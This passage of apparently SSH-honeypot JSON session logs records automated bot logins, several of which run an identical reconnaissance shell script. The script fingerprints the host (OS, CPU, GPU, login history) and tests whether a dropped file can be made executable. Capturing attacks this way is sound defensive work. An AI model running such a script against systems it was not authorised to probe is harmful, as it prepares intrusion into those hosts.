  "src_ip": "139.19.117.130",
  "src_port": 52800,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T03:37:31.283773+00:00",
  "ended_at": "2026-08-25T03:37:41.006143+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "02ca33d2-5d0b-46a1-a5c2-d6d480f7651c",
  "name": "amiable-electric-quail",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "193.24.211.204",
  "src_port": 56491,
  "username": "admin",
  "client_version": "SSH-2.0-libssh2_1.11.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T03:36:12.412045+00:00",
  "ended_at": "2026-08-25T03:36:13.147949+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fa53a56a-abdb-4de5-97a3-5ddd76a71cec",
  "name": "honest-tranquil-skink",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 41052,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T03:08:29.852799+00:00",
  "ended_at": "2026-08-25T03:08:30.695175+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0fd7cc46-017d-466a-b3e5-44457434657a",
  "name": "spirited-lawful-starling",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "193.46.255.86",
  "src_port": 59012,
  "username": "admin",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 3,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T02:53:35.876742+00:00",
  "ended_at": "2026-08-25T02:53:39.341104+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d83e41ee-7aff-4b99-b4fb-b4845e4bf1a9",
  "name": "wandering-sandy-quail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 39218,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:49:04.119767+00:00",
  "ended_at": "2026-08-25T02:49:05.016279+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "f4f198d5-c959-44d4-91ef-2d526d7e0cf8",
  "name": "tawny-candid-camel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 37612,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:48:15.037713+00:00",
  "ended_at": "2026-08-25T02:48:15.583104+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "5cfad719-5940-4e65-8ca9-ffc61a613108",
  "name": "hardy-blazing-barbet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 36032,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:47:26.771066+00:00",
  "ended_at": "2026-08-25T02:47:27.591451+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "204cb439-4f02-41d0-b670-8b9990c43dce",
  "name": "jolly-electric-goose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 34440,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:46:37.775852+00:00",
  "ended_at": "2026-08-25T02:46:38.563157+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "5cb37829-c0d4-4ef9-a5de-7c26b33792d9",
  "name": "plush-ivory-eagle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 32848,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:45:50.627796+00:00",
  "ended_at": "2026-08-25T02:45:51.139474+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "7cdb61c1-6e63-4aa1-8790-a351eb0865bb",
  "name": "glassy-steady-heron",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 59476,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho 